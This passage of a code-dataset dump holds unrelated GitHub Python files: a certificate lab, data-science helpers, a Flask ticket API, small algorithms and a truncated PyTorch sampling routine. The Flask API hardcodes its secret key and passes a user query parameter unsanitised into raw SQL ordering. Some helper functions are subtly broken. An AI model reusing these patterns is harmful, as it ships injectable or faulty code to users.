email_address\n\tcert.set_serial_number(1000)\n\tcert.gmtime_adj_notBefore(0)\n\tcert.gmtime_adj_notAfter(10*365*24*60*60)\n\tcert.set_issuer(ca_cert.get_subject())\n\tcert.set_pubkey(key)\n\tcert.sign(ca_key, 'sha1')\n\t\n\tprivate_key = crypto.dump_privatekey(crypto.FILETYPE_PEM, key)\n\n\tcsr = crypto.dump_certificate(crypto.FILETYPE_PEM, cert)\n\t\n\topen(CERT_FILE, \"wt\").write(csr)\n\topen(KEY_FILE, \"wt\").write(private_key)\n\n\treturn private_key, csr\n\n\t\n'''\n\topen(CERT_FILE, \"wt\").write(\n\t\tcrypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n\topen(KEY_FILE, \"wt\").write(\n\t\tcrypto.dump_privatekey(crypto.FILETYPE_PEM, key))\n'''\nif __name__ == \"__main__\":\n\tkey, cert = create_end_user_cert('tester', 'IE','Dublin','Dublin','DIT','Inbound-Proxy','timothy.barnard@mydit.ie')\n\tprint('key: ',key)\n\tprint('\\n')\n\tprint('pem: ', cert)","repo_name":"swifty-tim/Advanced-Security","sub_path":"lab9(2).py","file_name":"lab9(2).py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"10118246781","text":"import numpy as np\r\nfrom builtins import round\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.pyplot import xlabel, ylabel\r\nX = np.array([63,64,66,61,69,71,71,72,72,75])\r\nY = np.array([127,121,142,157,162,156,169,165,181,208])\r\nmeanx=np.mean(X)\r\nmeany=np.mean(Y)\r\nn=0;\r\nd=0;\r\nfor i in range(len(X)):\r\n n=n+(X[i]-meanx)*(Y[i]-meany)\r\n d=d+(X[i]-meanx)*(X[i]-meanx)\r\nB1=round(n/d,2);\r\nB0=round(meany-B1*meanx,2)\r\nprint(\"Y=\",B1,\" * X + \",B0)\r\nplt.scatter(X,Y)\r\nplt.xlabel(\"Weight\")\r\nplt.ylabel(\"Height\")\r\nplt.plot(X,B0+B1*X)\r\nplt.show()","repo_name":"saitejmaddula/MLfromScratch","sub_path":"linearregression.py","file_name":"linearregression.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"40897939632","text":"import os\nimport xarray as xr\nimport numpy as np\nimport pandas as pd\n\nimport calendar\nimport datetime\n\nimport itertools\nfrom math import radians, degrees, sin, cos, asin, acos, sqrt\nfrom scipy import signal\nfrom sklearn.model_selection import KFold\n\nimport matplotlib.pyplot as plt\n\n\n\ndef get_seasonal(data0):\n\n seas = np.copy(data0)\n for isea in range(12):\n data = np.copy(data0,-isea,axis=1)\n seas[:,isea] = np.nanmean(data[:,isea:isea+3],axis=1)\n\n return seas\n\n\ndef get_multimonth(data0):\n\n for isea in range(12):\n data = np.copy(data0,-isea,axis=1)\n data1 = data[:,isea:isea+3]\n data21 = np.nanmean(data1[:,(0,1)],axis=1,keepdims=True)\n data22 = np.nanmean(data1[:,(0,2)],axis=1,keepdims=True)\n data23 = np.nanmean(data1[:,(1,2)],axis=1,keepdims=True)\n data3 = np.nanmean(data1,axis=1,keepdims=True)\n seas_ = np.concatenate((data1,data21,data22,data23,data3),axis=1)\n dim = seas_.shape\n seas_ = np.reshape(seas_,np.concatenate((np.prod(dim[:2]),1,dim[2:])))\n if isea == 0: seas = np.copy(seas_)\n else: seas = np.concatenate((seas,seas_),axis=1)\n\n return seas\n\n\n\ndef get_stdz(dat1,dat2):\n\n mn = np.nanmean(dat1,axis=0,keepdims=True)\n sd = np.nanstd(dat1,axis=0,keepdims=True)\n out1 = (dat1 - mn)/sd\n out2 = (dat2 - mn)/sd\n out1 = np.where(sd==0,0,out1)\n out2 = np.where(sd==0,0,out2)\n\n return out1,out2,mn,sd\n\n\n\ndef take_stdz(dat1,mn,sd):\n\n out = (dat1 - mn)/sd\n out = np.where(sd==0,0,out)\n\n return out\n\n\n\ndef get_ano(dat1,dat2):\n\n mn = np.nanmean(dat1,axis=0,keepdims=True)\n sd = np.ones(mn.shape)\n out1 = (dat1 - mn)\n out2 = (dat2 - mn)\n\n return out1,out2,mn,sd\n\n\ndef split_stdz_input(X,Y,val_id=None,K=5,periodic=False,std=True):\n\n nYr = X.shape[0]\n\n if val_id == None:\n\n # periodic random sampling (e.g. dacadal sampling), for multiple K test\n if periodic == True:\n\n nYr_split = int(np.round(nYr/K))\n Ko = K\n high = np.append(np.repeat(K,nYr_split-1), nYr - K*(nYr_split-1))\n X_tr = []; X_val = []\n Y_tr = []; Y_val = []\n for ik in range(K):\n tmp = np.random.randint(0,high)\n val_id = [i*K + tmp[i] for i in range(nYr_split)]\n X_val_ = X[val_id]; X_tr_ = np.delete(X,val_id,0)\n Y_val_ = Y[val_id]; Y_tr_ = np.delete(Y,val_id,0)\n X_tr.append(X_tr_); X_val.append(X_val_)\n Y_tr.append(Y_tr_); Y_val.append(Y_val_)\n\n # random k-folding (for multiple(K) test)\n else:\n Ko = K\n kf = KFold(n_splits = K, shuffle=True)\n X_tr = []; X_val = []\n Y_tr = []; Y_val = []\n i = 0\n for tr_i,val_i in kf.split(np.arange(nYr)):\n #print('K='+str(i+1),len(tr_i),len(val_i))\n X_tr_ = X[tr_i]; X_val_ = X[val_i]\n Y_tr_ = Y[tr_i]; Y_val_ = Y[val_i]\n X_tr.append(X_tr_); X_val.append(X_val_)\n Y_tr.append(Y_tr_); Y_val.append(Y_val_)\n i += 1\n\n # subjective sampling (e.g. 1982, 1997, 2005 etc.), for single test\n else:\n Ko = 1\n X_val = X[val_id]; X_tr = np.delete(X,val_id,0)\n Y_val = Y[val_id]; Y_tr = np.delete(Y,val_id,0)\n\n\n Xmn = []; Xsd = []\n Ymn = []; Ysd = []\n for i in range(Ko):\n if std==True:\n X_tr[i],X_val[i],Xmn_,Xsd_ = get_stdz(X_tr[i],X_val[i])\n Y_tr[i],Y_val[i],Ymn_,Ysd_ = get_stdz(Y_tr[i],Y_val[i])\n else:\n X_tr[i],X_val[i],Xmn_,Xsd_ = get_ano(X_tr[i],X_val[i])\n Y_tr[i],Y_val[i],Ymn_,Ysd_ = get_ano(Y_tr[i],Y_val[i])\n Xmn.append(Xmn_); Xsd.append(Xsd_)\n Ymn.append(Ymn_); Ysd.append(Ysd_)\n\n return X_tr, X_val, Xmn, Xsd, Y_tr, Y_val, Ymn, Ysd, Ko\n\n\n\ndef set_data(X_H,Y_H,X_F,Y_F,ilb):\n\n ds = len(X_H.shape)\n\n if ds==5: axis_thr = (1,2,3,4)\n else: axis_thr = (1,2,3)\n\n id1 = np.all(~np.isnan(X_H),axis=axis_thr)\n id2 = np.all(~np.isnan(Y_H[:,ilb]))\n ind1 = np.logical_and(id1,id2)\n\n id3 = np.all(~np.isnan(X_F),axis=axis_thr)\n id4 = np.all(~np.isnan(Y_F[:,ilb]))\n #ind2 = np.logical_and(id3,id4)\n ind2 = id3\n\n # input\n X = X_H[ind1]\n if ds==5: tdim, xdim, ydim, ldim,zdim = X.shape\n else: tdim, xdim, ydim, zdim = X.shape\n test_x = X_F[ind2]\n # label \n Y = Y_H[ind1,ilb]\n test_y = Y_F[ind2,ilb]\n\n # Shuffling\n arr = np.arange(tdim)\n np.random.shuffle(arr)\n X = X[arr]\n Y = Y[arr]\n\n return(X,Y,test_x,test_y,tdim,xdim,ydim,zdim,ind2)\n\n\ndef get_sorted_terc(ens):\n\n # ens in [nens,nd] dimension\n nens = ens.shape[0]\n sorted = np.sort(ens,axis=0)\n id = int(nens/3)\n LT = (sorted[id] + sorted[id+1])/2.\n UT = (sorted[-id-1] + sorted[-id])/2.\n\n return UT,LT\n\n\n\ndef calc_terc(ens,fit_opt):\n\n# start_time = time.time()\n # ens in (nens,nlat,nlat) dimension\n dim0 = ens.shape\n nens = dim0[0]\n dm = dim0[1:]\n nd = np.product(dm)\n\n if fit_opt=='gamma':\n\n ens = np.reshape(ens,[nens,nd])\n\n # usinig moments\n shape,scale = get_gamma_param(ens)\n LT = [Gamma(shape[i],scale[i]).quantile(1/3) for i in range(nd)]\n UT = [Gamma(shape[i],scale[i]).quantile(2/3) for i in range(nd)]\n LT = np.reshape(LT,dm)\n UT = np.reshape(UT,dm)\n\n elif fit_opt=='norm':\n sd = np.nanstd(ens,axis=0)\n mn = np.nanmean(ens,axis=0)\n UT = 0.43*sd + mn\n LT = -0.43*sd + mn\n\n else:\n UT,LT = get_sorted_terc(ens)\n\n# elapsed_time = time.time() - start_time\n# print(time.strftime(\"%H:%M:%S\", time.gmtime(elapsed_time)))\n\n return UT, LT\n\n\ndef get_tcat(ens,UT,LT):\n\n Tcat = np.copy(ens)\n Tcat[:] = 1 #NN\n\n Tcat = np.where(ens-LT < 0, 0, Tcat) #BN\n Tcat = np.where(ens-UT >= 0, 2, Tcat) #AN\n\n return Tcat\n\n","repo_name":"yyalexlee/AAI","sub_path":"func_prcs_data.py","file_name":"func_prcs_data.py","file_ext":"py","file_size_in_byte":5489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"26390788459","text":"\nfrom flask_cors import CORS\nfrom flask import Flask, jsonify, request\nfrom sqlalchemy import text\nfrom os import environ\nfrom entities.entity import Session,Base,engine\nfrom entities.models import Tickets, TicketSchema, Contacts, ContactSchema, User, UserSchema\nfrom passlib.hash import pbkdf2_sha256\nfrom datetime import datetime, timedelta\nfrom flask_jwt_extended import JWTManager,jwt_required, create_access_token\napp = Flask(__name__)\nCORS(app)\napp.secret_key = \"keeptherealtoyourselfeverytime\"\napp.config['JWT_ACCESS_TOKEN_EXPIRES'] = timedelta(days=1)\n\nif __name__ == '__main__':\n app.run(debug = True)\n\njwt = JWTManager(app)\n\n# @jwt.unauthorized_loader\n# def unauthorized_response(callback):\n# return jsonify({\n# 'ok': False,\n# 'message': 'Missing Authorization Header'\n# }), 401\n####################################### REGISTER AND LOGIN #####################################\ndef authenticate(email, password):\n session = Session()\n user = session.query(User).filter_by(email=email).first()\n session.close()\n if user and pbkdf2_sha256.verify(password, user.password):\n return user\n else:\n return None\n\n@app.route('/auth',methods=['POST'])\ndef auth_user():\n posted_data = request.get_json()\n user = authenticate(posted_data['email'],posted_data['password'])\n if not user:\n return jsonify({'ok':False, 'message': 'Invalid credentials!' }), 401\n access_token = create_access_token(identity=user.email)\n obj = {'email':user.email,'token':access_token,'fname':user.fname,'lname':user.lname}\n return jsonify({'ok': True, 'data': obj}), 200\n\n\n\n@app.route('/register',methods=['POST'])\ndef add_user():\n\n # posted_data = UserSchema(only=('email','password','fname','lname')).load(json.loads(request.get_json()))\n # posted_data = request.get_json()\n # user = User(**posted_data)\n pd = request.get_json()\n user = User(pd['email'],pd['password'],pd['fname'],pd['lname'])\n session = Session()\n if session.query(User).filter_by(email = user.email).first():\n return jsonify({'message': 'User {} already exists'. format(user.email)}),401\n user.password = pbkdf2_sha256.hash(user.password)\n session.add(user)\n session.commit()\n session.close()\n return jsonify({'ok':True,'message': 'User created!'}),201\n\n\n@app.route('/users',methods=['GET'])\ndef get_users():\n session = Session()\n user_objects = session.query(User).all()\n result = [{\n \"id\": user.id,\n \"name\": (user.fname+\" \"+user.lname)\n } for user in user_objects]\n # serializing as JSON\n session.close()\n return jsonify(result)\n\n\n####################################### TICKET APIs #####################################\n@app.route('/tickets',methods=['GET'])\ndef get_tickets():\n arg = request.args\n session = Session()\n # fetching from the database\n sort_arg = arg.get('sortedBy',default='created_at desc',type=str)\n builder = session.query(Tickets)\n ticket_objects = builder.order_by(Tickets.status,text(sort_arg)).all()\n schema = TicketSchema(many=True)\n tickets = schema.dump(ticket_objects)\n # serializing as JSON\n session.close()\n return jsonify(tickets)\n\n@app.route('/tickets/',methods=['GET'])\ndef get_ticket_id(ticketId):\n session = Session()\n ticket_objects = session.query(Tickets).filter_by(id=ticketId).first()\n schema = TicketSchema()\n tickets = schema.dump(ticket_objects)\n # serializing as JSON\n session.close()\n return jsonify(tickets)\n\n@app.route('/tickets/filter',methods=['GET'])\ndef ticket_filter():\n arg = request.args\n session = Session()\n # fetching from the database\n builder = session.query(Tickets)\n sort_arg=''\n for key in arg:\n if hasattr(Tickets,key):\n vals = request.args.getlist(key)\n print(getattr(Tickets,key))\n builder = builder.filter(getattr(Tickets,key).in_(vals))\n elif key=='sortedBy':\n sort_arg = arg.get('sortedBy',default='created_at desc',type=str)\n ticket_objects = builder.order_by(Tickets.status,text(sort_arg)).all()\n schema = TicketSchema(many=True)\n tickets = schema.dump(ticket_objects)\n # serializing as JSON\n session.close()\n return jsonify(tickets)\n\n@app.route('/tickets/delete/',methods=['DELETE'])\ndef delete_ticket(ticketId):\n session = Session()\n ticket_obj = session.query(Tickets).filter_by(id=ticketId).first()\n session.delete(ticket_obj)\n session.commit()\n ticket_objects = session.query(Tickets).order_by(Tickets.status,Tickets.created_at.desc()).all()\n schema = TicketSchema(many=True)\n tickets = schema.dump(ticket_objects)\n session.close()\n return jsonify(tickets)\n\n\n@app.route('/tickets', methods=['POST'])\ndef add_ticket():\n posted_ticket = TicketSchema(only=('subject', 'description','status','source','requester_id','responder_id','category')).load(request.get_json())\n ticket = Tickets(**posted_ticket)\n # persist exam\n session = Session()\n session.add(ticket)\n session.commit()\n # return created exam\n new_ticket = TicketSchema().dump(ticket)\n session.close()\n return jsonify(new_ticket), 201\n\n@app.route('/tickets/update/', methods=['PUT'])\ndef update_ticket(ticketId):\n session = Session()\n posted_ticket = TicketSchema().load(request.get_json())\n session.query(Tickets).filter_by(id=ticketId).update(posted_ticket,synchronize_session=False)\n session.commit()\n session.close()\n return posted_ticket,201\n\n\n\n####################################### CONTACT APIs #####################################\n\n\n@app.route('/contacts', methods=['POST'])\ndef add_contact():\n pc = request.get_json()\n session = Session()\n contact = Contacts(pc['name'],pc['email'],pc['phone'],pc['company_name'])\n session.add(contact)\n session.commit()\n session.close()\n return jsonify({'ok':True,'message': 'Contact created!'}),201\n\n\n\n\n@app.route('/contacts',methods=['GET'])\ndef get_contacts():\n # fetching from the database\n session = Session()\n contact_objects = session.query(Contacts).order_by(Contacts.created_at).all()\n results = [\n {\n \"id\":contact.id,\n \"name\": contact.name,\n \"email\": contact.email,\n \"phone\": contact.phone,\n \"company_name\": contact.company_name\n } for contact in contact_objects]\n # schema = ContactSchema(many=True)\n # contacts = schema.dump(contact_objects)\n session.close()\n # return jsonify(contacts)\n return jsonify(results)\n\n@app.route('/contacts/',methods=['GET'])\ndef get_contact_id(contactId):\n session = Session()\n contact_obj = session.query(Contacts).filter_by(id=contactId).first()\n result = {\n \"id\": contact_obj.id,\n \"name\": contact_obj.name,\n \"email\": contact_obj.email,\n \"phone\": contact_obj.phone,\n \"company_name\": contact_obj.company_name,\n }\n # serializing as JSON\n session.close()\n return jsonify(result)\n \n\n@app.route('/contacts/delete/', methods=['DELETE'])\ndef delete_contact(contactId):\n session = Session()\n contact_obj = session.query(Contacts).filter_by(id=contactId).first()\n session.delete(contact_obj)\n session.commit()\n session.close()\n return '', 201\n\n\n@app.route('/contacts/update/', methods=['PUT'])\ndef update_contact(contactId):\n session = Session()\n pc = request.get_json()\n # contact_obj = pc['name'],pc['email'],pc['phone'],pc['company_name'])\n session.query(Contacts).filter_by(id=contactId).update(pc,synchronize_session=False)\n session.commit()\n session.close()\n return jsonify(pc),201","repo_name":"sonalbihani/freshdesk-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"10119608094","text":"# 0 1 2 3 4 5 6 7 8 9 10 ... <- index\n# 0 1 1 2 3 5 8 13 21 34 55 ... <- Fibonacci number\n# ^^^\n#\n# 0 1 1 2 3\n#\n# base cases\n#\n# fib(0): 0\n# fib(1): 1\n# fib(n): fib(n - 1) + fib(n - 2)\n\n# cache = {}\n\n# def fib(n):\n# if n == 0: return 0 # base case\n# if n == 1: return 1 # base case\n# # if n <= 1: return n # -> replace the 2 top lines\n# if n not in cache:\n# cache[n] = fib(n-1) + fib(n-2)\n# return cache[n]\n\n# for i in range(1, 10):\n# print(f'{i}: {fib(i)}')\n\n\n\n\n# Bottom-up dynamic programming\n#\n# Start from the base case and work up forward the number\n\ndef fib(n):\n\n f = [0, 1]\n\n if n <= 1: return f[n]\n\n for _ in range(n-1):\n\n next_fib = f[-1] + f[-2]\n\n f.append(next_fib)\n\n return f[-1]\n\nfor ii in range(2, 12):\n print(fib(ii))\n","repo_name":"Edudeiko/Algorithms","sub_path":"cs-module-project-algorithms-master/notebook/fibonacci_n.py","file_name":"fibonacci_n.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"40989528843","text":"from elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import bulk\nfrom capgen import CaptionGenerator\nimport glob\nimport os\n\nos.environ['CUDA_VISIBLE_DEVICES'] = ''\nes = Elasticsearch()\ngencap = CaptionGenerator()\n\ndef index_database():\n images = glob.glob('static/database/*')\n actions = []\n for i, image in enumerate(images):\n cap = gencap.get_caption(image)\n doc = {'imgurl': image, 'description': cap}\n actions.append(doc)\n bulk(es,actions,index=\"desearch\",doc_type=\"json\")\n\nif __name__ == \"__main__\":\n index_database()\n print('Images from static/img are indexed successfully')","repo_name":"sethuiyer/Image-to-Image-Search","sub_path":"index_database.py","file_name":"index_database.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":305,"dataset":"github-code","pt":"1"}
+{"seq_id":"71108898594","text":"import time\nimport logging\nimport os\nimport sys, traceback\nfrom subprocess import Popen\nimport Pyro4\n\nclass ECELDClient():\n def __init__(self):\n logging.debug(\"Instantiating ecel_manager()\")\n #start the nameserver\n logging.debug(\"ecel_manager(): attempting to start the pyro name server\")\n\n logging.debug(\"ecel_manager(): getting a handle to the ecel.service\")\n self.ecel_manager = Pyro4.Proxy(\"PYRONAME:ecel.service\") # use name server object lookup uri shortcut\n\n def start_collectors(self):\n logging.debug(\"start_collectors(): requesting to remove all data\")\n self.ecel_manager.remove_data()\n logging.debug(\"start_collectors(): requesting to start collectors\")\n self.ecel_manager.start_collectors()\n\n def stop_collectors(self):\n logging.debug(\"stop_collectors(): requesting to stop collectors\")\n self.ecel_manager.stop_collectors()\n\n def parse_data_all(self):\n logging.debug(\"parse_data_all(): requesting to parse all data\")\n self.ecel_manager.parse_data_all()\n time.sleep(5)\n\n def export_data(self, path=None):\n logging.debug(\"export_data(): requesting to export data to \" + str(path))\n if path == None or path.strip() == \"\":\n path = \"/tmp/\"\n try:\n if os.path.exists(path) == False:\n logging.debug(\"export_data(): requesting to export data to \" + str(path))\n os.makedirs(path)\n except:\n logging.error(\"export_data(): An error occured when trying to use path for export: \" + str(path))\n exc_type, exc_value, exc_traceback = sys.exc_info()\n traceback.print_exception(exc_type, exc_value, exc_traceback)\n self.ecel_manager.export_data(path)\n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.DEBUG)\n logging.debug(\"Instantiating ECELDClient()\")\n eclient = ECELDClient()\n eclient.start_collectors()\n time.sleep(5)\n eclient.stop_collectors()\n eclient.parse_data_all()\n eclient.export_data(path=\"/root/Desktop/\")\n logging.debug(\"Completed ECELDClient()\") \n","repo_name":"ARL-UTEP-OC/ndct","sub_path":"LogManager/ECELDClient_pythonic.py","file_name":"ECELDClient_pythonic.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"1"}
+{"seq_id":"18519794753","text":"import re\n\nfrom chatbot.api.domain.repositories.SiteRepository import ISiteRepository\nfrom chatbot.models.SiteUrlSetting import URL_PATTERN_DEFALT_ID\nfrom chatbot.models.SiteUrlSetting import SiteUrlSettingModel\n\n\nclass SiteService:\n def __init__(self, site_repository: ISiteRepository):\n self.site_repository = site_repository\n\n def search_bot_id(self, site_id: int, url: str):\n site = self.site_repository.find_by_id(id=site_id)\n\n default_bot_id = 0\n for url_setting in site.url_settings:\n if url_setting.url_pattern == URL_PATTERN_DEFALT_ID:\n default_bot_id = url_setting.bot_id\n continue\n\n result = re.match(url_setting.url_pattern, url)\n if result:\n return url_setting.bot_id\n\n if default_bot_id == 0:\n raise Exception('bot_id not found')\n\n return default_bot_id\n\n def find_url_setting(self, site_id: int, url: str) -> SiteUrlSettingModel:\n site = self.site_repository.find_by_id(id=site_id)\n\n if site is None:\n return None\n\n default_url_setting = None\n for url_setting in site.url_settings:\n if url_setting.enable_flag is False:\n continue\n\n if url_setting.url_pattern == URL_PATTERN_DEFALT_ID:\n default_url_setting = url_setting\n continue\n\n result = re.match(url_setting.url_pattern, url)\n if result:\n return url_setting\n\n return default_url_setting\n","repo_name":"hysakhr/flask_chatbot","sub_path":"chatbot/api/domain/services/SiteService.py","file_name":"SiteService.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"1"}
+{"seq_id":"5936477784","text":"\"\"\"\r\n Author: Sumeyye Acar\r\n Id: 22103640\r\n Course: CS-115\r\n Semester: Summer 2023\r\n Assignment: Lab04\r\n\"\"\"\r\n\r\nimport order\r\n\r\ncustomer = input( \"Enter customer name to search (exit to quit): \" ).lower()\r\n\r\nwhile customer != \"exit\":\r\n order_id = order.find_order( \"customers.txt\", customer )\r\n\r\n if order_id != -1:\r\n (items, total) = order.find_order_items( \"orders.txt\", order_id )\r\n \r\n if len(items) > 0:\r\n print( \"Order Summary: \" )\r\n print( items )\r\n print( \"Total Order Price: \", total )\r\n outfile = open( str( order_id )+\".txt\", 'a' )\r\n outfile.write( customer + \"\\t\" + str( total ) + \"\\n\" )\r\n outfile.close()\r\n\r\n else:\r\n print( \"Order Not Found!\" )\r\n\r\n else:\r\n print( \"Customer Not Found!\" )\r\n\r\n customer = input( \"Enter customer name to search (exit to quit): \" )","repo_name":"smyy1001/bilkent_cs115","sub_path":"lab4/order_app.py","file_name":"order_app.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"19069574260","text":"class Solution(object):\n\tdef convert(self, s, numRows):\n\t\t\"\"\"\n\t\t:type s: str\n\t\t:type numRows: int\n\t\t:rtype: str\n\t\t\"\"\"\n\t\t\n\t\tif numRows == 1 or not s:\n\t\t\treturn s;\n\t\t\t\n\t\tZigSize = 2*numRows - 2;\n\t\tdict = {};\n\t\tfor i in range(numRows):\n\t\t\tdict[i] = '';\n\t\t\t\n\t\tfor i in range(len(s)):\n\t\t\tremains = i%ZigSize;\n\t\t\tif remains >= numRows:\n\t\t\t\tremains = ZigSize - remains;\n\t\t\tdict[remains] += s[i];\n\t\t\t\n\t\tresults = '';\n\t\tfor i in range(numRows):\n\t\t\tresults += dict[i];\n\t\t\t\n\t\treturn results;","repo_name":"inter0509/Leetcode","sub_path":"006-ZigZagConversion/version1.py","file_name":"version1.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"71301323874","text":"#!/usr/bin/env python\n\n#\n# Test: transition dipole moments in the CO molecule.\n#\n# This test is based on the TDM calculations for CO published in:\n# N. S. Mosyagin, A. V. Oleynichenko, A. Zaitsevskii, A. V. Kudrin,\n# E. A. Pazyuk, A. V. Stolyarov.\n# J. Quant. Spectrosc. Radiat. Transf. 263, 107532 (2021)\n# doi: 10.1016/j.jqsrt.2021.107532\n#\n# Excited states of the CO molecule are obtained in the 1h1p sector.\n# The X1Sigma+ -> A1Pi is studied here (the 0h0p -> 1h1p type transition).\n# TDM is obtained using the finite-field approach.\n#\n\nimport sys\nimport os\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\nfrom minitest import Test, Filter, execute, DIRAC_PATH\n\n#\n# obtain transformed integrals\n#\n\ndirac_inp = 'TRA.inp'\ndirac_mol = \"CO.mol\"\nexecute(DIRAC_PATH + \" --nobackup --noarch --inp=\" + dirac_inp + \" --mol=\" + dirac_mol + \" --get=\\\"MRCONEE MDCINT MDPROP\\\"\")\n\n#\n# CCSD + finite-field estimates\n#\n\n# Field -F\nexecute(\"expt.x --no-clean ccsd_F-.inp > ccsd_F-.out\")\nexecute(\"mv scratch/HEFF HEFFM\")\n\n# Field +F\nexecute(\"expt.x --no-clean ccsd_F+.inp > ccsd_F+.out\")\nexecute(\"mv scratch/HEFF HEFFP\")\n\n# TDM calculation\nfilter_tdm = Filter(\"1 -> 6\", [69111.973, None, None, 0.385949], [1e-1, None, None, 1e-4])\nret = Test(\"\", \"ff.inp\", filters=[filter_tdm], binary=\"heffman.x < \").run()\n\nexecute(\"mv ff.inp.test.out finite_field_tdm.out\")\nexecute(\"rm -rf MRCONEE* MDCINT* MDPROP*\")\nexecute(\"rm -rf scratch\")\nexecute(\"rm -rf HINT VINT* modelvectors* HEFF*\")\n\nsys.exit(ret)\n\n\n","repo_name":"aoleynichenko/EXP-T","sub_path":"test/ff_tdm_1h1p/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"1"}
+{"seq_id":"20675975015","text":"import torch\ndevice = torch.device(\"cpu\" if not torch.cuda.is_available() else \"cuda\")\nimport torch.nn.functional as F\n\nfrom utils.utils import pcd2depth, torch_inner_prod, torch_sq_distance, JSD\nfrom super.utils import *\n\n# Bilinear sampling for autograd\ndef bilinear_sample(inputs, v, u, index_map=None, fill='zero', grad=False, normalizations=None):\n \"\"\"\n Given inputs (a list of feature maps) and target pixel locations (v, u) in the \n feature maps, computes the output features through bilinear interpolation.\n\n * 'inputs': a list of features, each has size (N,channel,).\n * 'index_map': If not None, its size should be (HEIGHT, WIDTH), each non-negative \n element indicates the location of the correponding feature vector. \n * 'normalizations': A list of True/False to decide if the corresponding output \n features will be normalized.\n \"\"\"\n def list_normalization(xs, gradients=None):\n if normalizations is None: return xs, gradients\n\n for i, normalization in enumerate(normalizations):\n if normalization:\n scale = torch.norm(xs[i], dim=-1, keepdim=True) #(in_size,1,)\n xs[i] /= scale\n\n if gradients is not None:\n gradients[i] /= scale.unsqueeze(-1)\n\n if gradients is None: return xs\n else: return xs, gradients\n\n inputs_channels = [input_.size()[-1] for input_ in inputs]\n features = torch.cat(inputs, dim=-1)\n\n fl_v = torch.floor(v)\n cel_v = torch.ceil(v)\n fl_u = torch.floor(u)\n cel_u = torch.ceil(u)\n\n n_block = torch.stack([fl_v, fl_v, cel_v, cel_v], dim=-1) # y: (in_size,4,)\n m_block = torch.stack([fl_u, cel_u, fl_u, cel_u], dim=-1) # x\n \n # U_nm: (in_size,4,cat_input_channel,)\n if index_map is None:\n U_nm = features[n_block.long(), m_block.long()]\n else:\n if fill == 'zero':\n U_nm = torch.zeros(n_block.size()+(features.size()[-1],)).type(features.type()).cuda()\n elif fill == 'nan':\n U_nm = torch_nans(n_block.size()+(features.size()[-1],), dtype=features.type())\n \n U_nm_index_map = index_map[n_block.long(), m_block.long()]\n U_nm_valid = U_nm_index_map>=0\n U_nm[U_nm_valid] = features[U_nm_index_map[U_nm_valid]]\n \n n_block -= v.unsqueeze(-1)\n m_block -= u.unsqueeze(-1)\n n_block = n_block.unsqueeze(-1) # Change dim to (in_size,4,1,)\n m_block = m_block.unsqueeze(-1)\n if grad:\n d_n_block = torch.where(n_block >= 0, 1., -1.)\n d_m_block = torch.where(m_block >= 0, 1., -1.)\n n_block = torch.maximum(1-torch.abs(n_block), torch.tensor(0).cuda())\n m_block = torch.maximum(1-torch.abs(m_block), torch.tensor(0).cuda())\n\n outputs = torch.sum(U_nm * n_block * m_block, dim=-2) #(in_size,feature_channel,)\n outputs = torch.split(outputs, inputs_channels, dim=-1)\n\n if normalizations is not None:\n norms_scales = []\n for i, normalization in enumerate(normalizations):\n if normalization:\n norm_scale = torch.norm(outputs[i], dim=-1, keepdim=True) #(in_size,1,)\n outputs[i] /= norms_scale\n else:\n norm_scale\n\n if index_map is None:\n U_nm_valid = None\n else:\n U_nm_valid = U_nm_valid.view(len(U_nm_valid), -1)\n U_nm_valid = ~torch.any(~U_nm_valid, dim=-1)\n\n if grad:\n gradients = torch.stack([\\\n torch.sum(U_nm * n_block * d_m_block, dim=1, dtype=dtype_),\\\n torch.sum(U_nm * m_block * d_n_block, dim=1, dtype=dtype_)],\\\n dim=2) # dOut-dv & dOut-du: (in_size,feature_channel,2)\n gradients = torch.split(gradients, inputs_channels, dim=-2)\n\n if normalizations is not None:\n outputs, gradients = list_normalization(outputs, gradients=gradients)\n return outputs, gradients, U_nm_valid\n \n else:\n if normalizations is not None:\n list_normalization(outputs)\n return outputs, None, U_nm_valid\n\n# Bilinear sampling for derived gradient\nclass LossTool():\n\n @staticmethod\n def bilinear_intrpl_block(v, u, target_, index_map=None, grad=False, normalization=False):\n fl_v = torch.floor(v)\n cel_v = torch.ceil(v)\n fl_u = torch.floor(u)\n cel_u = torch.ceil(u)\n\n n_block = torch.stack([fl_v, fl_v, cel_v, cel_v], dim=1) # y\n m_block = torch.stack([fl_u, cel_u, fl_u, cel_u],dim=1) # x\n if index_map is None:\n U_nm = target_[n_block.long()*WIDTH+m_block.long()]\n else:\n U_nm = torch.ones(n_block.size()+(target_.size()[-1],), dtype=torch.float64).cuda() * float('nan')\n \n h, w = index_map.size()\n U_nm_index_map = index_map[torch.minimum(torch.maximum(n_block.long(), \n torch.tensor(0).cuda()),\n torch.tensor(h-1).cuda()), \n torch.minimum(torch.maximum(m_block.long(), \n torch.tensor(0).cuda()),\n 